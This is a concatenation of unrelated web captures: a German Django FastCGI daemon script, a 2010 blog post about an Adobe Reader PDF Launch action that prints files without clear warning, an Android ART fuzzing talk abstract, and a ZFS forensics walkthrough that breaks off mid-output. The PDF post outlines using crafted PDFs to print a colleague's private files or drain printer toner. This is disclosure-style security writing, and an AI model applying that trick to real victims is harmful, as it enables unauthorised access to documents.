                    )
            ),
    )
    
    
[/code]

Und das Script welches den Django Daemon startet dann z.B. so:

[code]

    #! /bin/bash
    
    WD=/home/users/www.example.com/myproject
    PIDFILE=${WD}/django.pid
    PYTHON=/usr/bin/python2.4
    HOST=192.168.100.5
    PORT=9111
    
    case "$1" in
            start)
                    $PYTHON $WD/manage.py runfcgi host=$HOST port=$PORT daemonize=true method=prefork pidfile=$PIDFILE
                    ;;
    
            stop)
                    kill `cat $PIDFILE`
                    ;;
    
            restart)
                    $0 stop && $0 start
                    ;;
    
            *)
                    echo "Usage: $0 {start|stop|restart}"
                    ;;
    esac
    exit 0
    
    
[/code]

Die oben angegebene Konfiguration unterscheidet sich eigentlich nicht von der
aus der offiziellen Django Lighttpd Konfiguration.

To be continued ...

View Plain | Index | Home
Showing: head, History: head ← \[6\]

© 2008 django-hosting.de <img src='img/Temp2_4929.gif' alt='Made with Django.'
/> benutzt Pygments und Docutils, ist <img src='img/Temp2_4927.gif' width='88'
height='31' alt='Valid XHTML 1.0 Strict' /> und unterstützt Django-de.
Impressum  
  
Django ist eine eingetragene Marke der Django Software Foundation.

# sudosecure.net » Blog Archive » Another PDF Launch Action Oddity

**Created:**| _11/14/2010 4:13:55 PM_  
---|---  
**Updated:**| _11/14/2010 4:14:29 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

## Another PDF Launch Action Oddity

Posted by jeremy on November 13th, 2010

It has been a few months since I posted anything here but tonight as I was
fiddling around with the Launch action within a PDF file I discovered another
oddity that I thought would make an interesting blog posting. As we are all
probably aware of the Launch action within the PDF specification allows for
arbitrary files to be opened and/or executed in Adobe reader versions prior to
version 9.3.3 with very little restrictions. Adobe attempted to apply some
basic blacklisting restrictions to prevent the Launch action from executing
these arbitrary executables in version 9.3.3, but this attempt was poorly
implemented as the blacklist was easily escaped by simply adding double
quotes. Needless to say Adobe quickly corrected this with the release of Adobe
reader version 9.4. So what was the oddity I discovered in a fully patched
Adobe reader version 9.4 release that may be of interest?

What I discovered is that the PDF Launch action specification allows for any
PDF file accessible by the end user to be printed to the default printer and
Adobe reader implements this specification without properly disclosing that a
print action is being carried out. What I mean by not properly disclosing that
a print action is being carried out is that a warning dialog box is presented
to the end user, but the message within the this dialog box provides no
indication that the PDF file is being printed. The following screen capture is
what is displayed to the end user prior to the Launch action being executed to
print a PDF file:

<img src='img/Temp2_10651.png' width='464' height='254' />

As you can see no where within the warning dialog box is the name of the PDF
file being accessed displayed to the end user nor is there any indication that
a PDF file is being submitted as a print job to the end users default printer.
The warning dialog box in my opinion is very misleading to say the least, as
it would appear that we are attempting to open the AcroRD32.exe file which is
the Adobe reader executable. Once the Open button is clicked the PDF file
referenced by the Launch action is printed to the end users default printer.

Now this is definitely not as serious of an issue as the previous Launch
action issues that allowed malicious actors to carry out attacks that would
allow for the execution of arbitrary executables, which is why I titled this
post an “Oddity”. Although I can think of a scenario where this oddity could
be used to carry out an information disclosure attack. Since the Launch action
will allow you to specify any PDF file accessible to the end user to be
printed it would be possible to send a crafted PDF file to someone to gain
access to other PDF files that you may not have access to. Take for instance,
lets say we know our boss keeps all of the annual performance reviews on a
network share drive that only he has access to and that we all share a common
network printer in the office. We could easily craft a PDF file that printed
all of these PDF files to our network printer without him knowing it for us to
then just swoop by the network printer to pick up. Basically all we need to
know is the path and the file name to carry this attack out. The second style
of attack I could think of utilizing this oddity is more of an announce than a
security issue. We could easily craft a PDF file with say 1,000 solid black
pages which when opened by the end user would drain the default printer of all
it’s ink or toner. This kind of attack sort of reminds me of the old black fax
attack.

If your curious to the syntax feel free to download this PDF file “print.pdf”
which when opened in Adobe reader on Windows will print itself to your default
printer. One thing to note about the Launch action and printing is that we do
not get to specify what printer the document is printed to and it is
automatically sent to the end users default printer. If your curious to what
the syntax would look like to print one PDF file from another download these
and save these two PDF files in the same directory: “print\_test.pdf” and
“test.pdf“. Opening the “print\_test.pdf” file will print the “test.pdf” file
to the end users default printer.

# census | Fuzzing Objects d'ART - Hack In The Box 2015 Amsterdam
**Created:**| _6/18/2015 3:18:06 PM_  
---|---  
**Updated:**| _6/18/2015 3:18:06 PM_  
**Author:**| __  
**Tags:**| _android fuzzing_  
  

# Fuzzing Objects d’ART — Hack In The Box 2015 Amsterdam

Hello, my name is Anestis Bechtsoudis and I’m a security engineer at CENSUS.

I recently gave a talk on Android ART runtime fuzzing techniques at the Hack-
in-the-Box 2015 Amsterdam security conference. The talk entitled “Fuzzing
Objects d’ART — Digging Into the New Android L Runtime Internals”, analyzed a
series of DEX smart fuzzing techniques targeting the bytecode optimization and
compilation components of the new Android ART runtime.

<img src='img/Temp2_10123.png' />

The talk’s abstract was:

> In an effort to deal with performance challenges in the Android ecosystem,
> Google has made an investment aiming to fully replace the old JIT Dalvik VM
> with the brand new AOT \(Ahead-Of-Time\) ART runtime. It has been more than
> a year since ART was open-sourced and its first production releases are
> reaching the market. However, there is currently almost zero public
> knowledge about the security maturity of ART and its interfacing
> functionality.  
>  
> This talk is the first milestone of a greater research effort aiming to
> analyze all of the new ART runtime internals, depict the exploitation impact
> of identified bugs in the Android ecosystem and mark the requirements for
> the development of new tools. To assist this analysis, the first DEX file
> format smart fuzzing engine has been implemented supporting a series of
> rulesets mirroring the various fuzzing requirements. The input generation
> and fuzzing toolset we have developed run directly on Android devices and
> monitor the investigated processes.  
>  
> DEX smart fuzzing techniques and evaluation metrics will be presented
> against the initial target of the ART runtime, which is the bytecode
> optimization and compilation chain \(DEX parser, IR processing code
> generation\) for the ARM architecture. In order to prove the efficiency of
> our smart fuzzing techniques, we compare our results against dumb fuzzing
> iterations with identical characteristics.
You may find the related presentation material below:

We would like to specially thank Dhillon Andrew Kannabhiran, the conference
organizing committee and volunteers for their warm welcome and outstanding
support services.

# Bruning Questions: ZFS Forensics - Recovering Files From a Destroyed Zpool -
Blog - Joyent

**Created:**| _8/15/2013 11:42:01 AM_  
---|---  
**Updated:**| _8/15/2013 11:42:01 AM_  
**Author:**| __  
**Tags:**| _Forensics research zfs_  
  

# **B** runing Questions: ZFS Forensics - Recovering Files From a Destroyed
Zpool****

August 12, 2013 - by **Mr. Max Bruning**

Share:

Back in 2008, I wrote a post about recovering a removed file on a zfs disk
**.** This post links to a paper here, \(see page 36\) , and a set of slides
here **.**

Over time, I have received email from various people asking for help either
recovering files or pools or datasets, or for the tools I talk about in the
blog post and the OpenSolaris Developers Conference in Prague in 2008**.**
These tools were a modified mdb\(1\)  and a modified zdb\(1M\) **.** It is
time to revisit that work.

In this post, I'll create a ZFS pool, add a file to the pool, destroy the
pool, and then recover the file**.** To do this, I'll use a modified `mdb`,
and a tool I wrote to uncompress ZFS compressed data/metadata
\(`zuncompress`\)**.** Since `zdb` does not seem to work with destroyed zpools
\(in fact, much of `zdb` does not work with pools that do not import\), I will
not be using it**.** The code for what I am using is available at mdbzfs **.**
Please read the README file for instructions on how to set things up**.**

For those of you who are running ZFS on Linux, at the end of this blog post, I
have a suggestion on how you might try this on your ZFS on Linux file
system**.**

Before you try this on your own, please backup the disk\(s\) in question**.**
Use the technique I am showing at your own risk. \(Note that nothing I am
doing should change any data in the zpool\)**.** If you are using a file the
way I do here, there is of course no need to make a backup**.**

First, we'll create a zfs pool using a file, then add a file to the pool, then
destroy the pool

[code]

    # mkfile 100m /var/tmp/zfsfile
    # zpool create testpool /var/tmp/zfsfile
    # touch /testpool/foo
    # cp /usr/dict/words /testpool/words
    # sync
    # zpool destroy testpool
    #
    
[/code]

Note that the first time I tried this, I did not do the `sync`**.** I create
the pool, added the file, and destroyed the pool before zfs got around to
committing the transactions to disk, resulting in the file not showing up**.**

The steps we'll take to get the words file back from the destroyed pool will
start at the `uberblock`, and walk the \(compressed\) metadata structures on
disk until we get to the file**.** If I \(or someone else\) ever get around to
adding a "zfs on disk" target to `mdb`, this will be much simpler**.**

[code]

    # mdb /var/tmp/zfsfile
    > ::walk uberblock u | ::print zfs`uberblock_t ub_txg **!** sort -r
    ub_txg = 0xe
    ub_txg = 0xd
    ub_txg = 0xc
    ub_txg = 0xb
    ub_txg = 0xa
    ub_txg = 0x9
    ub_txg = 0x6
    ub_txg = 0x5
    ub_txg = 0x4
    ub_txg = 0x14
    ub_txg = 0x11
    ub_txg = 0
    ub_txg = 0
    ..**.**
    
[/code]

The `uberblock` walker is in the `rawzfs**.** so dmod` \(see the source on
github\). And I have added the following lines to `~/.mdbrc`:

[code]

    ::loadctf    <-- gets kernel CTF info
    ::load /root/rawzfs**.** so   <-- or wherever you put the rawzfs.so file
    ::load /root/zfs**.** so  <-- or where you put zfs.so
    
[/code]

The `zfs**.** so` and `rawzfs.so` files are built when you build `mdb` from my
github repo**.** If you `gmake world`, you may not need to do the two
loads**.** So, in this case, the highest transaction group id is `0x14`**.**
Note that I am making an assumption that this is the last active
`uberblock_t`**.** If it doesn't work, try the next lowest id**.** Let's print
out the `uberblock_t` for that transaction group id**.**

[code]

    > ::walk uberblock u | ::print zfs`uberblock_t ub_txg | ::grep "**.** ==14" | ::eval "<u::print -a zfs`uberblock_t"
    25000 {
        25000 ub_magic = 0xbab10c
        25008 ub_version = 0x1388
        25010 ub_txg = 0x14
        25018 ub_guid_sum = 0x22807e13b4464086
        25020 ub_timestamp = 0x5203bfc9
        25028 ub_rootbp = {
            25028 blk_dva = [
                25028 {
                    25028 dva_word = [ 0x1, 0x424 ]
                },
                25038 {
                    25038 dva_word = [ 0x1, 0x9424 ]
                },
                25048 {
                    25048 dva_word = [ 0x1, 0x12424 ]
                },
            ]
            25058 blk_prop = 0x800b070300000003
            25060 blk_pad = [ 0, 0 ]
            25070 blk_phys_birth = 0
            25078 blk_birth = 0x14
            25080 blk_fill = 0x27
            25088 blk_cksum = {
                25088 zc_word = [ 0x126da42f4f, 0x6be7bf74635, 0x145b828e81ab7, 
    0x2a37bf50847b59 ]
            }
        }
        250a8 ub_software_version = 0x1388
    }
    
[/code]

The `rootbp blkptr_t` in the above takes us to a `objset_phys_t` for the meta
object set \(MOS\) for the pool**.** Let' look at that `blkptr_t`

[code]

    > 25028::blkptr
    DVA[0]=<0:84800:200>
    DVA[1]=<0:1284800:200>
    DVA[2]=<0:2484800:200>
    [L0 OBJSET] FLETCHER_4 LZJB LE contiguous unique triple
    size=800L/200P birth=20L/20P fill=39
    cksum=126da42f4f:6be7bf74635:145b828e81ab7:2a37bf50847b59
    > $q
    #
    
[/code]

So, there are 3 copies of the `objset_phys_t` specified by the blkptr, at
0x84800, 0x1284800, and at 0x2484800 bytes into the first \(and only\) vdev
\(the leading 0 in 0:84800:200\)**.** The three copies are compressed via lzjb
compression**.** On disk, each is 0x200 bytes large**.** Decompressed, the
objset\_phys\_t is 0x800 bytes. Currently, `mdb` has no way to decompress the
data**.** We'll use the new tool `zuncompress` to uncompress the data into a
file**.**

[code]

    # ./zuncompress -p 200 -l 800 -o 84800 /var/tmp/zfsfile > /tmp/mos_objset
    #
    
[/code]

The decompressed `objset_phys_t` is now in /tmp/mos\_objset**.** Now we'll run
`mdb`on the file to look at the `objset_phys_t`**.**

[code]

    # mdb /tmp/mos_objset
    >0::print -a -t zfs`objset_phys_t
    0 objset_phys_t {
        0 dnode_phys_t os_meta_dnode = {
            0 uint8_t dn_type = 0xa
            1 uint8_t dn_indblkshift = 0xe
            2 uint8_t dn_nlevels = 0x1
            3 uint8_t dn_nblkptr = 0x3
        ..**.**
            40 blkptr_t [1] dn_blkptr = [
                40 blkptr_t {
                    40 dva_t [3] blk_dva = [
                        40 dva_t {
                            40 uint64_t [2] dva_word = [ 0x5, 0x41f ]
                        },
                        50 dva_t {
                            50 uint64_t [2] dva_word = [ 0x5, 0x941f ]
                        },
                        60 dva_t {
                            60 uint64_t [2] dva_word = [ 0x5, 0x1241f ]
                        },
                    ]
                    70 uint64_t blk_prop = 0x800a07030004001f
                    78 uint64_t [2] blk_pad = [ 0, 0 ]
                    88 uint64_t blk_phys_birth = 0
                    90 uint64_t blk_birth = 0x14
                    98 uint64_t blk_fill = 0x1f
                    a0 zio_cksum_t blk_cksum = {
                        a0 uint64_t [4] zc_word = [ 0xbc335cdf82, 0xee3d3a7c1fc4, 
    0xc355cf13639994, 0x78d0d2289454a408 ]
                    }
                },
            ]
            c0 uint8_t [192] dn_bonus = [ 0x3, 0, 0, 0, 0, 0, 0, 0, 0x2b, 0x4, 0, 0,
     0, 0, 0, 0, 0x3, 0, 0, 0, 0, 0, 0, 0, 0x2b, 0x94, 0, 0, 0, 0, 0, 0, ..**.** ]
    ...
    
[/code]

Let's get the `blkptr_t` in the `objset_phys_t`**.** This will be either a
block containing the `dnode_phys_t` for the meta objset set \(MOS\) for the
pool, or an indirect block containing `blkptr_t`s which may contain the
`dnode_phys_t`, or more indirect blocks**.**

[code]

    > ::status
    debugging file '/tmp/objset' (object file)
    > 40::blkptr
    DVA[0]=<0:83e00:a00>
    DVA[1]=<0:1283e00:a00>
    DVA[2]=<0:2483e00:a00>
    [L0 DNODE] FLETCHER_4 LZJB LE contiguous unique triple
    size=4000L/a00P birth=20L/20P fill=31
    cksum=bc335cdf82:ee3d3a7c1fc4:c355cf13639994:78d0d2289454a408
    > $q
    #
    
[/code]

In this case, the `blkptr` is for a block containing the MOS \(array of
`dnode_phys_t`**.** \(The L0 DNODE in the above output shows that there are 0
levels of indirection**.** A case where there are multiple levels of
indirection from a `blkptr_t` will be shown below**.** We'll decompress the
block.

[code]

    # **.** /zuncompress -p a00 -l 4000 -o 83e00 /var/tmp/zfsfile > /tmp/mos
    #
    
[/code]

As mentioned earlier, the MOS is an array of `dnode_phys_t`**.** The
decompressed block is 0x4000 bytes large.

[code]

    # mdb /tmp/mos
    > ::sizeof zfs`dnode_phys_t
    sizeof (zfs`dnode_phys_t) = 0x200
    > 4000%200=K
                    20
    >
    
[/code]

There are 32 \(0x20\) entries in the array**.** Let's dump them.

[code]

    > 0,20::print -a -t zfs`dnode_phys_t
    0 dnode_phys_t {
        0 uint8_t dn_type = 0  <-- the first entry (id = 0) is not used
        ..**.**
    }
    200 dnode_phys_t {
        200 uint8_t dn_type = 0x1 <-- DMU_OT_OBJECT_DIRECTORY
        201 uint8_t dn_indblkshift = 0xe
        202 uint8_t dn_nlevels = 0x1
        203 uint8_t dn_nblkptr = 0x3
        204 uint8_t dn_bonustype = 0
        205 uint8_t dn_checksum = 0
        206 uint8_t dn_compress = 0
        207 uint8_t dn_flags = 0x1
        208 uint16_t dn_datablkszsec = 0x2
        20a uint16_t dn_bonuslen = 0
        20c uint8_t [4] dn_pad2 = [ 0, 0, 0, 0 ]
        210 uint64_t dn_maxblkid = 0
        218 uint64_t dn_used = 0x600
        220 uint64_t [4] dn_pad3 = [ 0, 0, 0, 0 ]
        240 blkptr_t [1] dn_blkptr = [
            240 blkptr_t {
                240 dva_t [3] blk_dva = [
                    240 dva_t {
                        240 uint64_t [2] dva_word = [ 0x1, 0x20 ]
                    },
                    250 dva_t {
                        250 uint64_t [2] dva_word = [ 0x1, 0x9020 ]
                    },
                    260 dva_t {
                        260 uint64_t [2] dva_word = [ 0x1, 0x12000 ]
                    },
                ]
                270 uint64_t blk_prop = 0x8001070300000001
                278 uint64_t [2] blk_pad = [ 0, 0 ]
                288 uint64_t blk_phys_birth = 0
                290 uint64_t blk_birth = 0x4
                298 uint64_t blk_fill = 0x1
                2a0 zio_cksum_t blk_cksum = {
                    2a0 uint64_t [4] zc_word = [ 0xf38ae7fee, 0x6064734c9bd, 
    0x13a8cd3126a75, 0x2bfdd306beb1a2 ]
                }
            },
        ]
        ..**.**
    
[/code]

An "object directory" \(`DMU_OT_OBJECT_DIRECTORY`\) is a "ZAP" object
containing information about the meta objects**.** Meta objects in the MOS
include the root of the pool, snapshots, clones, the space map, and other
information**.** The ZAP object is contained in the data specified by the
`blkptr_t` at location 0x240 in the above output**.**

[code]

    > 240::blkptr
    DVA[0]=<0:4000:200>
    DVA[1]=<0:1204000:200>
    DVA[2]=<0:2400000:200>
    [L0 OBJECT_DIRECTORY] FLETCHER_4 LZJB LE contiguous unique triple
    size=400L/200P birth=4L/4P fill=1
    cksum=f38ae7fee:6064734c9bd:13a8cd3126a75:2bfdd306beb1a2
    > $q
    #
    
[/code]

Let's decompress and look at the ZAP**.**

[code]

    # ./zuncompress -p 200 -l 400 -o 4000 /var/tmp/zfsfile > /tmp/objdir
    # mdb /tmp/objdir
    > 0/K
    
[/code]

0: 8000000000000003

The `8000000000000003` tells us this is a microzap \(as opposed to a "fat
ZAP"**.** Fat zaps are used when the amount of data in the ZAP exceeds 1 block
\(hence needs indirect blocks\)**.**

[code]

    > 0::print -a -t zfs`mzap_phys_t
    0 mzap_phys_t {
        0 uint64_t mz_block_type = 0x8000000000000003
        8 uint64_t mz_salt = 0x16c04723
        10 uint64_t mz_normflags = 0
        18 uint64_t [5] mz_pad = [ 0, 0, 0, 0, 0 ]
        40 mzap_ent_phys_t [1] mz_chunk = [
            40 mzap_ent_phys_t {
                40 uint64_t mze_value = 0x2
                48 uint32_t mze_cd = 0
                4c uint16_t mze_pad = 0
                4e char [50] mze_name = [ "root_dataset" ]
            },
        ]
    }
    > $q
    #
    
[/code]

There are more entries, but this is the entry we want \(the
`"root_dataset"`\)**.** The value of 2 for `mze_value` is an object id**.**
Basically, an index into the MOS array of `dnode_phys_t`s where the root
dataset is described**.**

[code]

    # mdb /tmp/mos
    > 2*200::print -a -t zfs`dnode_phys_t  <-- get the entry at index 2
    400 dnode_phys_t {    <-- each dnode_phys_t is 0x200 bytes
        400 uint8_t dn_type = 0xc
        401 uint8_t dn_indblkshift = 0xe
        402 uint8_t dn_nlevels = 0x1
        403 uint8_t dn_nblkptr = 0x1
        404 uint8_t dn_bonustype = 0xc
        405 uint8_t dn_checksum = 0
        406 uint8_t dn_compress = 0
        407 uint8_t dn_flags = 0
        408 uint16_t dn_datablkszsec = 0x1
        40a uint16_t dn_bonuslen = 0x100
        40c uint8_t [4] dn_pad2 = [ 0, 0, 0, 0 ]
        410 uint64_t dn_maxblkid = 0
        418 uint64_t dn_used = 0
        420 uint64_t [4] dn_pad3 = [ 0, 0, 0, 0 ]
        440 blkptr_t [1] dn_blkptr = [
            440 blkptr_t {
                440 dva_t [3] blk_dva = [
                    440 dva_t {
                        440 uint64_t [2] dva_word = [ 0, 0 ]
                    },
                    450 dva_t {
                        450 uint64_t [2] dva_word = [ 0, 0 ]
                    },
                    460 dva_t {
                        460 uint64_t [2] dva_word = [ 0, 0 ]
                    },
                ]
                470 uint64_t blk_prop = 0
                478 uint64_t [2] blk_pad = [ 0, 0 ]
                488 uint64_t blk_phys_birth = 0
                490 uint64_t blk_birth = 0
                498 uint64_t blk_fill = 0
                4a0 zio_cksum_t blk_cksum = {
                    4a0 uint64_t [4] zc_word = [ 0, 0, 0, 0 ]
                }
            },
        ]
        4c0 uint8_t [192] dn_bonus = [ 0x9a, 0xbf, 0x3, 0x52, 0, 0, 0, 0, 0x15, 0, 0
    , 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x12, 0, 0, 0, 0, 0, 0, 0, ..**.** ]
    ..**.**
    
[/code]

Here, the `blkptr_t` is not used**.** Instead, the information we need is in
the "bonus buffer" \(`dn_bonus` at offset 0x4c0\)**.**

[code]

    > 4c0::print -a -t zfs`dsl_dir_phys_t
    4c0 dsl_dir_phys_t {
        4c0 uint64_t dd_creation_time = 0x5203bf9a
        4c8 uint64_t dd_head_dataset_obj = 0x15
        4d0 uint64_t dd_parent_obj = 0
        4d8 uint64_t dd_origin_obj = 0x12
        4e0 uint64_t dd_child_dir_zapobj = 0x4
        4e8 uint64_t dd_used_bytes = 0x5d400
        4f0 uint64_t dd_compressed_bytes = 0x4b200
        4f8 uint64_t dd_uncompressed_bytes = 0x4b200
        500 uint64_t dd_quota = 0
        508 uint64_t dd_reserved = 0
        510 uint64_t dd_props_zapobj = 0x3
        518 uint64_t dd_deleg_zapobj = 0
        520 uint64_t dd_flags = 0x1
        528 uint64_t [5] dd_used_breakdown = [ 0x48400, 0, 0x15000, 0, 0 ]
        550 uint64_t dd_clones = 0
        558 uint64_t dd_filesystem_count = 0
        560 uint64_t dd_snapshot_count = 0
        568 uint64_t [11] dd_pad = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
    }
    
[/code]

From here, we'll go to the `dd_head_dataset_obj`, 0x15**.**

[code]

    > 15*200::print -a -t zfs`dnode_phys_t
    2a00 dnode_phys_t {
        2a00 uint8_t dn_type = 0x10  <-- DMU_OT_DSL_DATASET
        ..**.**
        2a40 blkptr_t [1] dn_blkptr = [
            2a40 blkptr_t {
                2a40 dva_t [3] blk_dva = [
                    2a40 dva_t {
                        2a40 uint64_t [2] dva_word = [ 0, 0 ]
                    },
        ..**.**
        2ac0 uint8_t [192] dn_bonus = [ 0x2, 0, 0, 0, 0, 0, 0, 0, 0x12, 0, 0, 0, 0, 
    0, 0, 0, 0x1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ..**.** ]
    ...
    
[/code]

The data for the `DMU_OT_DSL_DATASET` is in the bonus buffer**.** Let's dump
that out.

[code]

    > 2ac0::print -a -t zfs`dsl_dataset_phys_t
    2ac0 dsl_dataset_phys_t {
        2ac0 uint64_t ds_dir_obj = 0x2
        ..**.**
        2b40 blkptr_t ds_bp = {
            2b40 dva_t [3] blk_dva = [
                2b40 dva_t {
                    2b40 uint64_t [2] dva_word = [ 0x1, 0x2d6 ]
                },
                2b50 dva_t {
                    2b50 uint64_t [2] dva_word = [ 0x1, 0x90d6 ]
                },
                2b60 dva_t {
                    2b60 uint64_t [2] dva_word = [ 0, 0 ]
                },
            ]
         ..**.**
    
[/code]

And look at the `blkptr_t`**.**

[code]

    > 2b40::blkptr
    DVA[0]=<0:5ac00:200>
    DVA[1]=<0:121ac00:200>
    [L0 OBJSET] FLETCHER_4 LZJB LE contiguous unique double
    size=800L/200P birth=11L/11P fill=9
    cksum=15955ae455:7d0aed4c6f5:17b63dc48793f:3202bc4dfa3b58
    > $q
    #
    
[/code]

This is another `objset_phys_t`, this time for the root dataset instead of the
MOS**.** We'll decompress and take a look**.**

[code]

    # ./zuncompress -p 200 -l 800 -o 5ac00 /var/tmp/zfsfile > /tmp/ds_objset
    # mdb /tmp/ds_objset
    > 0::print -a -t zfs`objset_phys_t
    0 objset_phys_t {
        0 dnode_phys_t os_meta_dnode = {
            0 uint8_t dn_type = 0xa  <-- DMU_OT_DNODE
            ..**.**
            40 blkptr_t [1] dn_blkptr = [
                40 blkptr_t {
                    40 dva_t [3] blk_dva = [
                        40 dva_t {
                            40 uint64_t [2] dva_word = [ 0x2, 0x2d1 ]
                        },
                        50 dva_t {
                            50 uint64_t [2] dva_word = [ 0x2, 0x90d1 ]
                        },
                        60 dva_t {
                            60 uint64_t [2] dva_word = [ 0, 0 ]
                        },
                    ]
             ..**.**
    
[/code]

Grabbing the `blkptr_t` as was the case for the MOS objset**.**

[code]

    > 40::blkptr
    DVA[0]=<0:5a200:400>
    DVA[1]=<0:121a200:400>
    [L6 DNODE] FLETCHER_4 LZJB LE contiguous unique double
    size=4000L/400P birth=11L/11P fill=9
    cksum=5a33c7bab6:3e5fa32d9ea0:16d3626ce1ceee:5d94da91be37c8d
    > $q
    #
    
[/code]

For the dataset object set, there are 2 copies of the metadata \(unlike the
three copies for the MOS\)**.** And the "`L6`" says there are 6 levels of
indirection**.** Indirect blocks are blocks containing `blkptr_t`s of block
containing block pointers..**.** of blocks containing data. In this case, 6
levels deep. We'll look at the first `blkptr_t` in each of these**.** Note
that if this was a large file system with lots of data, we would probably
still need the beginning \(root of the file system\) to get started**.** In
this particular case, the only `blkptr_t` being used in all of the indirect
blocks is the first one**.** The rest are "holes" \(placeholders for when/if
the file system has more objects\)**.** Given an object id, the arithmetic
needed to find the correct path through the indirect blocks for that object id
is covered in the papers mentioned at the beginning of this post**.**

At this point we'll follow a sequence of decompressing and following the block
pointers until we get to level 0 \(the `dnode_phys_t` array for the objects in
the \(root\) dataset\)**.**

[code]

    # **.** /zuncompress -p 400 -l 4000 -o 5a200 /var/tmp/zfsfile > /tmp/l6_dnode
    # mdb /tmp/l6_dnode
    > 0::blkptr
    DVA[0]=<0:59e00:400>
    DVA[1]=<0:1219e00:400>
    [L5 DNODE] FLETCHER_4 LZJB LE contiguous unique double
    size=4000L/400P birth=11L/11P fill=9
    cksum=5a4813c63a:3e6e4b21ab12:16d82a6aab7196:5da1fa71471b3a2
    > $q
    #
    # **.** /zuncompress -p 400 -l 4000 -o 59e00 /var/tmp/zfsfile > /tmp/l5_dnode
    # mdb /tmp/l5_dnode
    > 0::blkptr
    DVA[0]=<0:59a00:400>
    DVA[1]=<0:1219a00:400>
    [L4 DNODE] FLETCHER_4 LZJB LE contiguous unique double
    size=4000L/400P birth=11L/11P fill=9
    cksum=5a07a23ca3:3e2ff2ae47d2:16b9e360815f88:5d048405cb59ba5
    > $q
    #
    # **.** /zuncompress -p 400 -l 4000 -o 59a00 /var/tmp/zfsfile > /tmp/l4_dnode
    # mdb /tmp/l4_dnode
    > 0::blkptr
    DVA[0]=<0:59600:400>
    DVA[1]=<0:1219600:400>
    [L3 DNODE] FLETCHER_4 LZJB LE contiguous unique double
    size=4000L/400P birth=11L/11P fill=9
    cksum=594127027c:3d7854dc4336:1664aa2337fdfd:5b5d2ad4907d3f2
    > $q
    #
    # **.** /zuncompress -p 400 -l 4000 -o 59600 /var/tmp/zfsfile > /tmp/l3_dnode
    # mdb /tmp/l3_dnode
    > 0::blkptr
    DVA[0]=<0:59200:400>
    DVA[1]=<0:1219200:400>
    [L2 DNODE] FLETCHER_4 LZJB LE contiguous unique double
    size=4000L/400P birth=11L/11P fill=9
    cksum=5a6c9eaf90:3e918a332bce:16e93bc40842e1:5dfa7ee35affc19
    > $q
    #
    # **.** /zuncompress -p 400 -l 4000 -o 59200 /var/tmp/zfsfile > /tmp/l2_dnode
    # mdb /tmp/l2_dnode
    > 0::blkptr
    DVA[0]=<0:58e00:400>
    DVA[1]=<0:1218e00:400>
    [L1 DNODE] FLETCHER_4 LZJB LE contiguous unique double
    size=4000L/400P birth=11L/11P fill=9
    cksum=573ebf43bc:3c03ae3ccfbe:15cc559f914849:58921efeca0c341
    > $q
    #
    # **.** /zuncompress -p 400 -l 4000 -o 58e00 /var/tmp/zfsfile > /tmp/l1_dnode
    # mdb /tmp/l1_dnode
    > 0::blkptr
    DVA[0]=<0:58800:600>
    DVA[1]=<0:1218800:600>
    [L0 DNODE] FLETCHER_4 LZJB LE contiguous unique double
    size=4000L/600P birth=11L/11P fill=9
    cksum=87a454f048:6092818ca2a1:2d0688f6b70082:104b023c565fb938
    > $q
    #
    # **.** /zuncompress -p 600 -l 4000 -o 58800 /var/tmp/zfsfile > /tmp/dnodes
    #
    
[/code]

Now we're at level 0**.** This is an array of `dnode_phys_t` for files and
directories in the root of the ZFS file system**.** Let's dump the array.

[code]

    # mdb /tmp/dnodes
    >0,20::print -a -t zfs`dnode_phys_t
    0 dnode_phys_t {
        0 uint8_t dn_type = 0  <-- first entry (obj id = 0) is unused
    ..**.**
    200 dnode_phys_t {
        200 uint8_t dn_type = 0x15  <-- DMU_OT_MASTER_NODE
        ..**.**
        240 blkptr_t [1] dn_blkptr = [
            240 blkptr_t {
                240 dva_t [3] blk_dva = [
                    240 dva_t {
                        240 uint64_t [2] dva_word = [ 0x1, 0 ]
                    },
                    250 dva_t {
                        250 uint64_t [2] dva_word = [ 0x1, 0x9000 ]
                    },
                    260 dva_t {
                        260 uint64_t [2] dva_word = [ 0, 0 ]
                    },
                ]
                ..**.**
    
[/code]

The second entry is the "master node" for the file system**.** Let's look at
the `blkptr_t`

[code]

    > 240::blkptr
    DVA[0]=<0:0:200>
    DVA[1]=<0:1200000:200>
    [L0 MASTER_NODE] FLETCHER_4 LZJB LE contiguous unique double
    size=400L/200P birth=4L/4P fill=1
    cksum=a23da9de2:4526f62c71b:f0b3b5fb1f03:239ad9c427b988
    > $q
    #
    
[/code]

This is another ZAP block**.** We'll decompress and take a look.

[code]

    # **.** /zuncompress -p 200 -l 400 -o 0 /var/tmp/zfsfile > /tmp/master
    # mdb /tmp/master
    > 0/K
    0:              8000000000000003 
    > 0::print -a -t zfs`mzap_phys_t
    0 mzap_phys_t {
        0 uint64_t mz_block_type = 0x8000000000000003
        8 uint64_t mz_salt = 0x16d68b53
        10 uint64_t mz_normflags = 0
        18 uint64_t [5] mz_pad = [ 0, 0, 0, 0, 0 ]
        40 mzap_ent_phys_t [1] mz_chunk = [
            40 mzap_ent_phys_t {
                40 uint64_t mze_value = 0
                48 uint32_t mze_cd = 0
                4c uint16_t mze_pad = 0
                4e char [50] mze_name = [ "normalization" ]
            },
        ]
    }
    >
    
[/code]

Let's look at additional entries in the ZAP object**.** We want an entry for
"`ROOT`"**.**

[code]

    > .::print -a -t zfs`mzap_ent_phys_t  <-- "**.** " says continue where we left off
    80 mzap_ent_phys_t {
        80 uint64_t mze_value = 0
        88 uint32_t mze_cd = 0
        8c uint16_t mze_pad = 0
        8e char [50] mze_name = [ "utf8only" ]
    }
    > **.** ::print -a -t zfs`mzap_ent_phys_t
    c0 mzap_ent_phys_t {
        c0 uint64_t mze_value = 0
        c8 uint32_t mze_cd = 0
        cc uint16_t mze_pad = 0
        ce char [50] mze_name = [ "casesensitivity" ]
    }
    > **.** ::print -a -t zfs`mzap_ent_phys_t
    100 mzap_ent_phys_t {
        100 uint64_t mze_value = 0x5
        108 uint32_t mze_cd = 0
        10c uint16_t mze_pad = 0
        10e char [50] mze_name = [ "VERSION" ]
    }
    > **.** ::print -a -t zfs`mzap_ent_phys_t
    140 mzap_ent_phys_t {
        140 uint64_t mze_value = 0x2
        148 uint32_t mze_cd = 0
